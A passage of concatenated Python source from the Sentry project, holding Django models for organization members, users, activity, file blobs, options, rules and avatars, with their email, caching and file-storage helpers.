        app_label = 'sentry'
        db_table = 'sentry_organizationmember'
        unique_together = (
            ('organization', 'user'),
            ('organization', 'email'),
        )

    __repr__ = sane_repr('organization_id', 'user_id', 'role',)

    @transaction.atomic
    def save(self, *args, **kwargs):
        assert self.user_id or self.email, \
            'Must set user or email'
        super(OrganizationMember, self).save(*args, **kwargs)

    @property
    def is_pending(self):
        return self.user_id is None

    @property
    def legacy_token(self):
        checksum = md5()
        checksum.update(six.text_type(self.organization_id).encode('utf-8'))
        checksum.update(self.get_email().encode('utf-8'))
        checksum.update(force_bytes(settings.SECRET_KEY))
        return checksum.hexdigest()

    def generate_token(self):
        return uuid4().hex + uuid4().hex

    def get_invite_link(self):
        if not self.is_pending:
            return None
        return absolute_uri(reverse('sentry-accept-invite', kwargs={
            'member_id': self.id,
            'token': self.token or self.legacy_token,
        }))

    def send_invite_email(self):
        from sentry.utils.email import MessageBuilder

        context = {
            'email': self.email,
            'organization': self.organization,
            'url': self.get_invite_link(),
        }

        msg = MessageBuilder(
            subject='Join %s in using Sentry' % self.organization.name,
            template='sentry/emails/member-invite.txt',
            html_template='sentry/emails/member-invite.html',
            type='organization.invite',
            context=context,
        )

        try:
            msg.send_async([self.get_email()])
        except Exception as e:
            logger = get_logger(name='sentry.mail')
            logger.exception(e)

    def send_sso_link_email(self):
        from sentry.utils.email import MessageBuilder

        context = {
            'email': self.email,
            'organization_name': self.organization.name,
            'url': absolute_uri(reverse('sentry-auth-organization', kwargs={
                'organization_slug': self.organization.slug,
            })),
        }

        msg = MessageBuilder(
            subject='Action Required for %s' % (self.organization.name,),
            template='sentry/emails/auth-link-identity.txt',
            html_template='sentry/emails/auth-link-identity.html',
            type='organization.auth_link',
            context=context,
        )
        msg.send_async([self.get_email()])

    def get_display_name(self):
        if self.user_id:
            return self.user.get_display_name()
        return self.email

    def get_label(self):
        if self.user_id:
            return self.user.get_label()
        return self.email or self.id

    def get_email(self):
        if self.user_id:
            return self.user.email
        return self.email

    def get_avatar_type(self):
        if self.user_id:
            return self.user.get_avatar_type()

    def get_audit_log_data(self):
        from sentry.models import Team
        return {
            'email': self.email,
            'user': self.user_id,
            'teams': list(Team.objects.filter(
                id__in=OrganizationMemberTeam.objects.filter(
                    organizationmember=self,
                    is_active=True,
                ).values_list('team', flat=True)
            )),
            'has_global_access': self.has_global_access,
            'role': self.role,
        }

    def get_teams(self):
        from sentry.models import Team

        if roles.get(self.role).is_global:
            return self.organization.team_set.all()

        return Team.objects.filter(
            id__in=OrganizationMemberTeam.objects.filter(
                organizationmember=self,
                is_active=True,
            ).values('team')
        )

    def get_scopes(self):
        return roles.get(self.role).scopes






"""
sentry.models.user
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import logging
import warnings

from django.contrib.auth.models import AbstractBaseUser, UserManager
from django.core.urlresolvers import reverse
from django.db import IntegrityError, models, transaction
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _

from sentry.db.models import BaseManager, BaseModel, BoundedAutoField
from sentry.utils.http import absolute_uri

audit_logger = logging.getLogger('sentry.audit.user')


class UserManager(BaseManager, UserManager):
    pass


class User(BaseModel, AbstractBaseUser):
    __core__ = True

    id = BoundedAutoField(primary_key=True)
    username = models.CharField(_('username'), max_length=128, unique=True)
    # this column is called first_name for legacy reasons, but it is the entire
    # display name
    name = models.CharField(_('name'), max_length=200, blank=True,
                            db_column='first_name')
    email = models.EmailField(_('email address'), blank=True)
    is_staff = models.BooleanField(
        _('staff status'), default=False,
        help_text=_('Designates whether the user can log into this admin '
                    'site.'))
    is_active = models.BooleanField(
        _('active'), default=True,
        help_text=_('Designates whether this user should be treated as '
                    'active. Unselect this instead of deleting accounts.'))
    is_superuser = models.BooleanField(
        _('superuser status'), default=False,
        help_text=_('Designates that this user has all permissions without '
                    'explicitly assigning them.'))
    is_managed = models.BooleanField(
        _('managed'), default=False,
        help_text=_('Designates whether this user should be treated as '
                    'managed. Select this to disallow the user from '
                    'modifying their account (username, password, etc).'))
    is_password_expired = models.BooleanField(
        _('password expired'), default=False,
        help_text=_('If set to true then the user needs to change the '
                    'password on next sign in.'))
    last_password_change = models.DateTimeField(
        _('date of last password change'), null=True,
        help_text=_('The date the password was changed last.'))

    date_joined = models.DateTimeField(_('date joined'), default=timezone.now)

    objects = UserManager(cache_fields=['pk'])

    USERNAME_FIELD = 'username'
    REQUIRED_FIELDS = ['email']

    class Meta:
        app_label = 'sentry'
        db_table = 'auth_user'
        verbose_name = _('user')
        verbose_name_plural = _('users')

    def delete(self):
        if self.username == 'sentry':
            raise Exception('You cannot delete the "sentry" user as it is required by Sentry.')
        avatar = self.avatar.first()
        if avatar:
            avatar.delete()
        return super(User, self).delete()

    def save(self, *args, **kwargs):
        if not self.username:
            self.username = self.email
        return super(User, self).save(*args, **kwargs)

    def has_perm(self, perm_name):
        warnings.warn('User.has_perm is deprecated', DeprecationWarning)
        return self.is_superuser

    def has_module_perms(self, app_label):
        warnings.warn('User.has_module_perms is deprecated', DeprecationWarning)
        return self.is_superuser

    def has_unverified_emails(self):
        return self.emails.filter(is_verified=False).exists()

    def get_label(self):
        return self.email or self.username or self.id

    def get_display_name(self):
        return self.name or self.email or self.username

    def get_full_name(self):
        return self.name

    def get_short_name(self):
        return self.username

    def get_avatar_type(self):
        avatar = self.avatar.first()
        if avatar:
            return avatar.get_avatar_type_display()
        return 'letter_avatar'

    def send_confirm_emails(self, is_new_user=False):
        from sentry import options
        from sentry.utils.email import MessageBuilder

        for email in self.emails.filter(is_verified=False):
            if not email.hash_is_valid():
                email.set_hash()
                email.save()

            context = {
                'user': self,
                'url': absolute_uri(reverse(
                    'sentry-account-confirm-email',
                    args=[self.id, email.validation_hash]
                )),
                'confirm_email': email.email,
                'is_new_user': is_new_user,
            }
            msg = MessageBuilder(
                subject='%sConfirm Email' % (options.get('mail.subject-prefix'),),
                template='sentry/emails/confirm_email.txt',
                html_template='sentry/emails/confirm_email.html',
                type='user.confirm_email',
                context=context,
            )
            msg.send_async([email.email])

    def merge_to(from_user, to_user):
        # TODO: we could discover relations automatically and make this useful
        from sentry import roles
        from sentry.models import (
            AuditLogEntry, Activity, AuthIdentity, GroupAssignee, GroupBookmark,
            GroupSeen, OrganizationMember, OrganizationMemberTeam, UserAvatar,
            UserOption
        )

        audit_logger.info('user.merge', extra={
            'from_user_id': from_user.id,
            'to_user_id': to_user.id,
        })

        for obj in OrganizationMember.objects.filter(user=from_user):
            try:
                with transaction.atomic():
                    obj.update(user=to_user)
            except IntegrityError:
                pass

            # identify the highest priority membership
            to_member = OrganizationMember.objects.get(
                organization=obj.organization_id,
                user=to_user,
            )
            if roles.get(obj.role).priority > roles.get(to_member.role).priority:
                to_member.update(role=obj.role)

            for team in obj.teams.all():
                try:
                    with transaction.atomic():
                        OrganizationMemberTeam.objects.create(
                            organizationmember=to_member,
                            team=team,
                        )
                except IntegrityError:
                    pass

        model_list = (
            GroupAssignee,
            GroupBookmark,
            GroupSeen,
            UserAvatar,
            UserOption
        )

        for model in model_list:
            for obj in model.objects.filter(user=from_user):
                try:
                    with transaction.atomic():
                        obj.update(user=to_user)
                except IntegrityError:
                    pass

        Activity.objects.filter(
            user=from_user,
        ).update(user=to_user)
        AuditLogEntry.objects.filter(
            actor=from_user,
        ).update(actor=to_user)
        AuditLogEntry.objects.filter(
            target_user=from_user,
        ).update(target_user=to_user)

        # remove any duplicate identities that exist on the current user that
        # might conflict w/ the new users existing SSO
        AuthIdentity.objects.filter(
            user=from_user,
            auth_provider__organization__in=AuthIdentity.objects.filter(
                user=to_user,
            ).values('auth_provider__organization')
        ).delete()
        AuthIdentity.objects.filter(
            user=from_user,
        ).update(user=to_user)

    def set_password(self, raw_password):
        super(User, self).set_password(raw_password)
        self.last_password_change = timezone.now()
        self.is_password_expired = False






"""
sentry.models.activity
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six

from django.conf import settings
from django.db import models
from django.db.models import F
from django.utils import timezone

from sentry.db.models import (
    Model, BoundedPositiveIntegerField, FlexibleForeignKey, GzippedDictField,
    sane_repr
)
from sentry.tasks import activity


class Activity(Model):
    __core__ = False

    SET_RESOLVED = 1
    SET_UNRESOLVED = 2
    SET_MUTED = 3
    SET_PUBLIC = 4
    SET_PRIVATE = 5
    SET_REGRESSION = 6
    CREATE_ISSUE = 7
    NOTE = 8
    FIRST_SEEN = 9
    RELEASE = 10
    ASSIGNED = 11
    UNASSIGNED = 12
    SET_RESOLVED_IN_RELEASE = 13
    MERGE = 14
    SET_RESOLVED_BY_AGE = 15

    TYPE = (
        # (TYPE, verb-slug)
        (SET_RESOLVED, 'set_resolved'),
        (SET_RESOLVED_BY_AGE, 'set_resolved_by_age'),
        (SET_RESOLVED_IN_RELEASE, 'set_resolved_in_release'),
        (SET_UNRESOLVED, 'set_unresolved'),
        (SET_MUTED, 'set_muted'),
        (SET_PUBLIC, 'set_public'),
        (SET_PRIVATE, 'set_private'),
        (SET_REGRESSION, 'set_regression'),
        (CREATE_ISSUE, 'create_issue'),
        (NOTE, 'note'),
        (FIRST_SEEN, 'first_seen'),
        (RELEASE, 'release'),
        (ASSIGNED, 'assigned'),
        (UNASSIGNED, 'unassigned'),
        (MERGE, 'merge'),
    )

    project = FlexibleForeignKey('sentry.Project')
    group = FlexibleForeignKey('sentry.Group', null=True)
    # index on (type, ident)
    type = BoundedPositiveIntegerField(choices=TYPE)
    ident = models.CharField(max_length=64, null=True)
    # if the user is not set, it's assumed to be the system
    user = FlexibleForeignKey(settings.AUTH_USER_MODEL, null=True)
    datetime = models.DateTimeField(default=timezone.now)
    data = GzippedDictField(null=True)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_activity'

    __repr__ = sane_repr('project_id', 'group_id', 'event_id', 'user_id',
                         'type', 'ident')

    def __init__(self, *args, **kwargs):
        super(Activity, self).__init__(*args, **kwargs)
        from sentry.models import Release

        # XXX(dcramer): fix for bad data
        if self.type == self.RELEASE and isinstance(self.data['version'], Release):
            self.data['version'] = self.data['version'].version
        if self.type == self.ASSIGNED:
            self.data['assignee'] = six.text_type(self.data['assignee'])

    def save(self, *args, **kwargs):
        created = bool(not self.id)

        super(Activity, self).save(*args, **kwargs)

        if not created:
            return

        # HACK: support Group.num_comments
        if self.type == Activity.NOTE:
            self.group.update(num_comments=F('num_comments') + 1)

    def delete(self, *args, **kwargs):
        super(Activity, self).delete(*args, **kwargs)

        # HACK: support Group.num_comments
        if self.type == Activity.NOTE:
            self.group.update(num_comments=F('num_comments') - 1)

    def send_notification(self):
        activity.send_activity_notifications.delay(self.id)






from __future__ import absolute_import

from django.db import models
from django.utils import timezone

from sentry.utils.cache import cache
from sentry.db.models import (
    BoundedPositiveIntegerField, Model, sane_repr
)


class ReleaseEnvironment(Model):
    __core__ = False

    project_id = BoundedPositiveIntegerField(db_index=True)
    release_id = BoundedPositiveIntegerField(db_index=True)
    environment_id = BoundedPositiveIntegerField(db_index=True)
    first_seen = models.DateTimeField(default=timezone.now)
    last_seen = models.DateTimeField(default=timezone.now, db_index=True)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_environmentrelease'
        unique_together = (('project_id', 'release_id', 'environment_id'),)

    __repr__ = sane_repr('project_id', 'release_id', 'environment_id')

    @classmethod
    def get_cache_key(cls, project_id, release_id, environment_id):
        return 'releaseenv:1:{}:{}:{}'.format(
            project_id,
            release_id,
            environment_id,
        )

    @classmethod
    def get_or_create(cls, project, release, environment, datetime, **kwargs):
        cache_key = cls.get_cache_key(project.id, release.id, environment.id)

        instance = cache.get(cache_key)
        if instance is None:
            instance, created = cls.objects.get_or_create(
                project_id=project.id,
                release_id=release.id,
                environment_id=environment.id,
                defaults={
                    'first_seen': datetime,
                    'last_seen': datetime,
                },
            )
            cache.set(cache_key, instance, 3600)
        else:
            created = False

        # TODO(dcramer): this would be good to buffer
        if not created:
            instance.update(last_seen=datetime)
        return instance






"""
sentry.models.file
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

import six

from hashlib import sha1
from uuid import uuid4

from django.conf import settings
from django.core.files.base import File as FileObj
from django.core.files.base import ContentFile
from django.core.files.storage import get_storage_class
from django.db import models
from django.utils import timezone
from jsonfield import JSONField

from sentry.app import locks
from sentry.db.models import (
    BoundedPositiveIntegerField, FlexibleForeignKey, Model
)
from sentry.utils import metrics
from sentry.utils.retries import TimedRetryPolicy

ONE_DAY = 60 * 60 * 24

DEFAULT_BLOB_SIZE = 1024 * 1024  # one mb


class FileBlob(Model):
    __core__ = False

    path = models.TextField(null=True)
    size = BoundedPositiveIntegerField(null=True)
    checksum = models.CharField(max_length=40, unique=True)
    timestamp = models.DateTimeField(default=timezone.now, db_index=True)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_fileblob'

    @classmethod
    def from_file(cls, fileobj):
        """
        Retrieve a list of FileBlobIndex instances for the given file.

        If not already present, this will cause it to be stored.

        >>> blobs = FileBlob.from_file(fileobj)
        """
        size = 0

        checksum = sha1(b'')
        for chunk in fileobj:
            size += len(chunk)
            checksum.update(chunk)
        checksum = checksum.hexdigest()

        # TODO(dcramer): the database here is safe, but if this lock expires
        # and duplicate files are uploaded then we need to prune one
        lock = locks.get('fileblob:upload:{}'.format(checksum), duration=60 * 10)
        with TimedRetryPolicy(60)(lock.acquire):
            # test for presence
            try:
                existing = FileBlob.objects.get(checksum=checksum)
            except FileBlob.DoesNotExist:
                pass
            else:
                return existing

            blob = cls(
                size=size,
                checksum=checksum,
            )

            blob.path = cls.generate_unique_path(blob.timestamp)

            storage = blob.get_storage()
            storage.save(blob.path, fileobj)
            blob.save()

        metrics.timing('filestore.blob-size', size)
        return blob

    @classmethod
    def generate_unique_path(cls, timestamp):
        pieces = [
            six.text_type(x)
            for x in divmod(int(timestamp.strftime('%s')), ONE_DAY)
        ]
        pieces.append(uuid4().hex)
        return u'/'.join(pieces)

    def delete(self, *args, **kwargs):
        lock = locks.get('fileblob:upload:{}'.format(self.checksum), duration=60 * 10)
        with TimedRetryPolicy(60)(lock.acquire):
            if self.path:
                self.deletefile(commit=False)
            super(FileBlob, self).delete(*args, **kwargs)

    def get_storage(self):
        backend = settings.SENTRY_FILESTORE
        options = settings.SENTRY_FILESTORE_OPTIONS

        storage = get_storage_class(backend)
        return storage(**options)

    def deletefile(self, commit=False):
        assert self.path

        storage = self.get_storage()
        storage.delete(self.path)

        self.path = None

        if commit:
            self.save()

    def getfile(self):
        """
        Return a file-like object for this File's content.

        >>> with blob.getfile() as src, open('/tmp/localfile', 'wb') as dst:
        >>>     for chunk in src.chunks():
        >>>         dst.write(chunk)
        """
        assert self.path

        storage = self.get_storage()
        return storage.open(self.path)


class File(Model):
    __core__ = False

    name = models.CharField(max_length=128)
    type = models.CharField(max_length=64)
    timestamp = models.DateTimeField(default=timezone.now, db_index=True)
    headers = JSONField()
    blobs = models.ManyToManyField('sentry.FileBlob', through='sentry.FileBlobIndex')
    size = BoundedPositiveIntegerField(null=True)
    checksum = models.CharField(max_length=40, null=True)

    # <Legacy fields>
    # Remove in 8.1
    blob = FlexibleForeignKey('sentry.FileBlob', null=True, related_name='legacy_blob')
    path = models.TextField(null=True)
    # </Legacy fields>

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_file'

    def getfile(self, *args, **kwargs):
        return FileObj(ChunkedFileBlobIndexWrapper(
            FileBlobIndex.objects.filter(
                file=self,
            ).select_related('blob').order_by('offset'),
            mode=kwargs.get('mode'),
        ), self.name)

    def putfile(self, fileobj, blob_size=DEFAULT_BLOB_SIZE, commit=True):
        """
        Save a fileobj into a number of chunks.

        Returns a list of `FileBlobIndex` items.

        >>> indexes = file.putfile(fileobj)
        """
        results = []
        offset = 0
        checksum = sha1(b'')

        while True:
            contents = fileobj.read(blob_size)
            if not contents:
                break
            checksum.update(contents)

            blob_fileobj = ContentFile(contents)
            blob = FileBlob.from_file(blob_fileobj)

            results.append(
                FileBlobIndex.objects.create(
                    file=self,
                    blob=blob,
                    offset=offset,
                )
            )
            offset += blob.size
        self.size = offset
        self.checksum = checksum.hexdigest()
        metrics.timing('filestore.file-size', offset)
        if commit:
            self.save()
        return results


class FileBlobIndex(Model):
    __core__ = False

    file = FlexibleForeignKey('sentry.File')
    blob = FlexibleForeignKey('sentry.FileBlob')
    offset = BoundedPositiveIntegerField()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_fileblobindex'
        unique_together = (('file', 'blob', 'offset'),)


class ChunkedFileBlobIndexWrapper(object):
    def __init__(self, indexes, mode=None):
        # eager load from database incase its a queryset
        self._indexes = list(indexes)
        self._curfile = None
        self._curidx = None
        self.mode = mode
        self.open()

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_value, tb):
        self.close()

    def _nextidx(self):
        try:
            self._curidx = six.next(self._idxiter)
            self._curfile = self._curidx.blob.getfile()
        except StopIteration:
            self._curidx = None
            self._curfile = None

    @property
    def size(self):
        return sum(i.blob.size for i in self._indexes)

    def open(self):
        self.closed = False
        self.seek(0)

    def close(self):
        if self._curfile:
            self._curfile.close()
        self._curfile = None
        self._curidx = None
        self.closed = True

    def seek(self, pos):
        if self.closed:
            raise ValueError('I/O operation on closed file')
        if pos < 0:
            raise IOError('Invalid argument')
        for n, idx in enumerate(self._indexes[::-1]):
            if idx.offset <= pos:
                if idx != self._curidx:
                    self._idxiter = iter(self._indexes[-(n + 1):])
                    self._nextidx()
                break
        else:
            raise ValueError('Cannot seek to pos')
        self._curfile.seek(pos - self._curidx.offset)

    def tell(self):
        if self.closed:
            raise ValueError('I/O operation on closed file')
        return self._curidx.offset + self._curfile.tell()

    def read(self, bytes=4096):
        if self.closed:
            raise ValueError('I/O operation on closed file')
        result = ''
        while bytes and self._curfile is not None:
            blob_result = self._curfile.read(bytes)
            if not blob_result:
                self._nextidx()
                continue
            bytes -= len(blob_result)
            result += blob_result
        return result






"""
sentry.models.projectoption
~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from celery.signals import task_postrun
from django.core.signals import request_finished
from django.db import models

from sentry.db.models import Model, FlexibleForeignKey, sane_repr
from sentry.db.models.fields import UnicodePickledObjectField
from sentry.db.models.manager import BaseManager
from sentry.utils.cache import cache


class ProjectOptionManager(BaseManager):
    def __init__(self, *args, **kwargs):
        super(ProjectOptionManager, self).__init__(*args, **kwargs)
        self.__cache = {}

    def __getstate__(self):
        d = self.__dict__.copy()
        # we cant serialize weakrefs
        d.pop('_ProjectOptionManager__cache', None)
        return d

    def __setstate__(self, state):
        self.__dict__.update(state)
        self.__cache = {}

    def _make_key(self, instance_id):
        assert instance_id
        return '%s:%s' % (self.model._meta.db_table, instance_id)

    def get_value_bulk(self, instances, key):
        instance_map = dict((i.id, i) for i in instances)
        queryset = self.filter(
            project__in=instances,
            key=key,
        )
        result = dict((i, None) for i in instances)
        for obj in queryset:
            result[instance_map[obj.project_id]] = obj.value
        return result

    def get_value(self, project, key, default=None):
        result = self.get_all_values(project)
        return result.get(key, default)

    def unset_value(self, project, key):
        self.filter(project=project, key=key).delete()
        self.reload_cache(project.id)

    def set_value(self, project, key, value):
        self.create_or_update(
            project=project,
            key=key,
            values={
                'value': value,
            },
        )
        self.reload_cache(project.id)

    def get_all_values(self, project):
        if isinstance(project, models.Model):
            project_id = project.id
        else:
            project_id = project

        if project_id not in self.__cache:
            cache_key = self._make_key(project_id)
            result = cache.get(cache_key)
            if result is None:
                result = self.reload_cache(project_id)
            else:
                self.__cache[project_id] = result
        return self.__cache.get(project_id, {})

    def clear_local_cache(self, **kwargs):
        self.__cache = {}

    def reload_cache(self, project_id):
        cache_key = self._make_key(project_id)
        result = dict(
            (i.key, i.value)
            for i in self.filter(project=project_id)
        )
        cache.set(cache_key, result)
        self.__cache[project_id] = result
        return result

    def post_save(self, instance, **kwargs):
        self.reload_cache(instance.project_id)

    def post_delete(self, instance, **kwargs):
        self.reload_cache(instance.project_id)

    def contribute_to_class(self, model, name):
        super(ProjectOptionManager, self).contribute_to_class(model, name)
        task_postrun.connect(self.clear_local_cache)
        request_finished.connect(self.clear_local_cache)


class ProjectOption(Model):
    """
    Project options apply only to an instance of a project.

    Options which are specific to a plugin should namespace
    their key. e.g. key='myplugin:optname'
    """
    __core__ = True

    project = FlexibleForeignKey('sentry.Project')
    key = models.CharField(max_length=64)
    value = UnicodePickledObjectField()

    objects = ProjectOptionManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_projectoptions'
        unique_together = (('project', 'key',),)

    __repr__ = sane_repr('project_id', 'key', 'value')






"""
sentry.models.organizationoption
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from celery.signals import task_postrun
from django.core.signals import request_finished
from django.db import models

from sentry.db.models import Model, FlexibleForeignKey, sane_repr
from sentry.db.models.fields import UnicodePickledObjectField
from sentry.db.models.manager import BaseManager
from sentry.utils.cache import cache


class OrganizationOptionManager(BaseManager):
    def __init__(self, *args, **kwargs):
        super(OrganizationOptionManager, self).__init__(*args, **kwargs)
        self.__cache = {}

    def __getstate__(self):
        d = self.__dict__.copy()
        # we cant serialize weakrefs
        d.pop('_OrganizationOptionManager__cache', None)
        return d

    def __setstate__(self, state):
        self.__dict__.update(state)
        self.__cache = {}

    def _make_key(self, instance_id):
        assert instance_id
        return '%s:%s' % (self.model._meta.db_table, instance_id)

    def get_value_bulk(self, instances, key):
        instance_map = dict((i.id, i) for i in instances)
        queryset = self.filter(
            organization__in=instances,
            key=key,
        )
        result = dict((i, None) for i in instances)
        for obj in queryset:
            result[instance_map[obj.organization_id]] = obj.value
        return result

    def get_value(self, organization, key, default=None):
        result = self.get_all_values(organization)
        return result.get(key, default)

    def unset_value(self, organization, key):
        self.filter(organization=organization, key=key).delete()
        self.reload_cache(organization.id)

    def set_value(self, organization, key, value):
        self.create_or_update(
            organization=organization,
            key=key,
            values={
                'value': value,
            },
        )
        self.reload_cache(organization.id)

    def get_all_values(self, organization):
        if isinstance(organization, models.Model):
            organization_id = organization.id
        else:
            organization_id = organization

        if organization_id not in self.__cache:
            cache_key = self._make_key(organization_id)
            result = cache.get(cache_key)
            if result is None:
                result = self.reload_cache(organization_id)
            else:
                self.__cache[organization_id] = result
        return self.__cache.get(organization_id, {})

    def clear_local_cache(self, **kwargs):
        self.__cache = {}

    def reload_cache(self, organization_id):
        cache_key = self._make_key(organization_id)
        result = dict(
            (i.key, i.value)
            for i in self.filter(organization=organization_id)
        )
        cache.set(cache_key, result)
        self.__cache[organization_id] = result
        return result

    def post_save(self, instance, **kwargs):
        self.reload_cache(instance.organization_id)

    def post_delete(self, instance, **kwargs):
        self.reload_cache(instance.organization_id)

    def contribute_to_class(self, model, name):
        super(OrganizationOptionManager, self).contribute_to_class(model, name)
        task_postrun.connect(self.clear_local_cache)
        request_finished.connect(self.clear_local_cache)


class OrganizationOption(Model):
    """
    Organization options apply only to an instance of a organization.

    Options which are specific to a plugin should namespace
    their key. e.g. key='myplugin:optname'

    key: onboarding:complete
    value: { updated: datetime }
    """
    __core__ = True

    organization = FlexibleForeignKey('sentry.Organization')
    key = models.CharField(max_length=64)
    value = UnicodePickledObjectField()

    objects = OrganizationOptionManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_organizationoptions'
        unique_together = (('organization', 'key',),)

    __repr__ = sane_repr('organization_id', 'key', 'value')






"""
sentry.models.grouprulestatus
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.db import models
from django.utils import timezone

from sentry.db.models import FlexibleForeignKey, Model, sane_repr


class GroupRuleStatus(Model):
    __core__ = False

    ACTIVE = 0
    INACTIVE = 1

    project = FlexibleForeignKey('sentry.Project')
    rule = FlexibleForeignKey('sentry.Rule')
    group = FlexibleForeignKey('sentry.Group')
    status = models.PositiveSmallIntegerField(default=ACTIVE)
    date_added = models.DateTimeField(default=timezone.now)
    last_active = models.DateTimeField(null=True)

    class Meta:
        db_table = 'sentry_grouprulestatus'
        app_label = 'sentry'
        unique_together = (('rule', 'group'),)

    __repr__ = sane_repr('rule_id', 'group_id', 'status')






"""
sentry.models.releasefile
~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""

from __future__ import absolute_import

from django.db import models

from sentry.db.models import FlexibleForeignKey, Model, sane_repr
from sentry.utils.hashlib import sha1_text


class ReleaseFile(Model):
    """
    A ReleaseFile is an association between a Release and a File.

    The ident of the file should be sha1(name) and must be unique per release.
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project')
    release = FlexibleForeignKey('sentry.Release')
    file = FlexibleForeignKey('sentry.File')
    ident = models.CharField(max_length=40)
    name = models.TextField()

    __repr__ = sane_repr('release', 'ident')

    class Meta:
        unique_together = (('release', 'ident'),)
        app_label = 'sentry'
        db_table = 'sentry_releasefile'

    def save(self, *args, **kwargs):
        if not self.ident and self.name:
            self.ident = type(self).get_ident(self.name)
        return super(ReleaseFile, self).save(*args, **kwargs)

    def update(self, *args, **kwargs):
        # If our name is changing, we must also change the ident
        if 'name' in kwargs and 'ident' not in kwargs:
            kwargs['ident'] = self.ident = type(self).get_ident(kwargs['name'])
        return super(ReleaseFile, self).update(*args, **kwargs)

    @classmethod
    def get_ident(cls, name):
        return sha1_text(name).hexdigest()






"""
sentry.models.rule
~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from django.db import models
from django.utils import timezone

from sentry.db.models import (
    BoundedPositiveIntegerField, Model, FlexibleForeignKey, GzippedDictField,
    sane_repr
)
from sentry.db.models.manager import BaseManager
from sentry.utils.cache import cache


# TODO(dcramer): pull in enum library
class RuleStatus(object):
    ACTIVE = 0
    INACTIVE = 1
    PENDING_DELETION = 2
    DELETION_IN_PROGRESS = 3


class Rule(Model):
    __core__ = True

    project = FlexibleForeignKey('sentry.Project')
    label = models.CharField(max_length=64)
    data = GzippedDictField()
    status = BoundedPositiveIntegerField(default=RuleStatus.ACTIVE, choices=(
        (RuleStatus.ACTIVE, 'Active'),
        (RuleStatus.INACTIVE, 'Inactive'),
    ), db_index=True)

    date_added = models.DateTimeField(default=timezone.now)

    objects = BaseManager(cache_fields=(
        'pk',
    ))

    class Meta:
        db_table = 'sentry_rule'
        app_label = 'sentry'

    __repr__ = sane_repr('project_id', 'label')

    @classmethod
    def get_for_project(cls, project_id):
        cache_key = 'project:{}:rules'.format(project_id)
        rules_list = cache.get(cache_key)
        if rules_list is None:
            rules_list = list(cls.objects.filter(
                project=project_id,
                status=RuleStatus.ACTIVE,
            ))
            cache.set(cache_key, rules_list, 60)
        return rules_list

    def delete(self, *args, **kwargs):
        rv = super(Rule, self).delete(*args, **kwargs)
        cache_key = 'project:{}:rules'.format(self.project_id)
        cache.delete(cache_key)
        return rv

    def save(self, *args, **kwargs):
        rv = super(Rule, self).save(*args, **kwargs)
        cache_key = 'project:{}:rules'.format(self.project_id)
        cache.delete(cache_key)
        return rv






from __future__ import absolute_import

import uuid

from django.db import models
from PIL import Image
from six import BytesIO

from sentry.db.models import FlexibleForeignKey, Model
from sentry.utils.cache import cache


class UserAvatar(Model):
    """
    A UserAvatar associates a User with their avatar photo File
    and contains their preferences for avatar type.
    """
    __core__ = False

    AVATAR_TYPES = (
        (0, 'letter_avatar'),
        (1, 'upload'),
        (2, 'gravatar'),
    )

    ALLOWED_SIZES = (20, 32, 48, 52, 64, 80, 96, 120)

    user = FlexibleForeignKey('sentry.User', unique=True, related_name='avatar')
    file = FlexibleForeignKey('sentry.File', unique=True, null=True, on_delete=models.SET_NULL)
    ident = models.CharField(max_length=32, unique=True, db_index=True)
    avatar_type = models.PositiveSmallIntegerField(default=0, choices=AVATAR_TYPES)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_useravatar'

    def save(self, *args, **kwargs):
        if not self.ident:
            self.ident = uuid.uuid4().hex
        return super(UserAvatar, self).save(*args, **kwargs)

    def delete(self, *args, **kwargs):
        if self.file:
            self.file.delete()
        return super(UserAvatar, self).delete(*args, **kwargs)

    def get_cache_key(self, size):
        return 'avatar:%s:%s' % (self.user_id, size)

    def clear_cached_photos(self):
        cache.delete_many([self.get_cache_key(x) for x in self.ALLOWED_SIZES])

    def get_cached_photo(self, size):
        if not self.file:
            return
        if size not in self.ALLOWED_SIZES:
            size = min(self.ALLOWED_SIZES, key=lambda x: abs(x - size))
        cache_key = self.get_cache_key(size)
        photo = cache.get(cache_key)
        if photo is None:
            photo_file = self.file.getfile()
            with Image.open(photo_file) as image:
                image = image.resize((size, size))
                image_file = BytesIO()
                image.save(image_file, 'PNG')
                photo = image_file.getvalue()
                cache.set(cache_key, photo)
        return photo






"""
sentry.models.groupmeta
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import threading

from celery.signals import task_postrun
from django.core.signals import request_finished
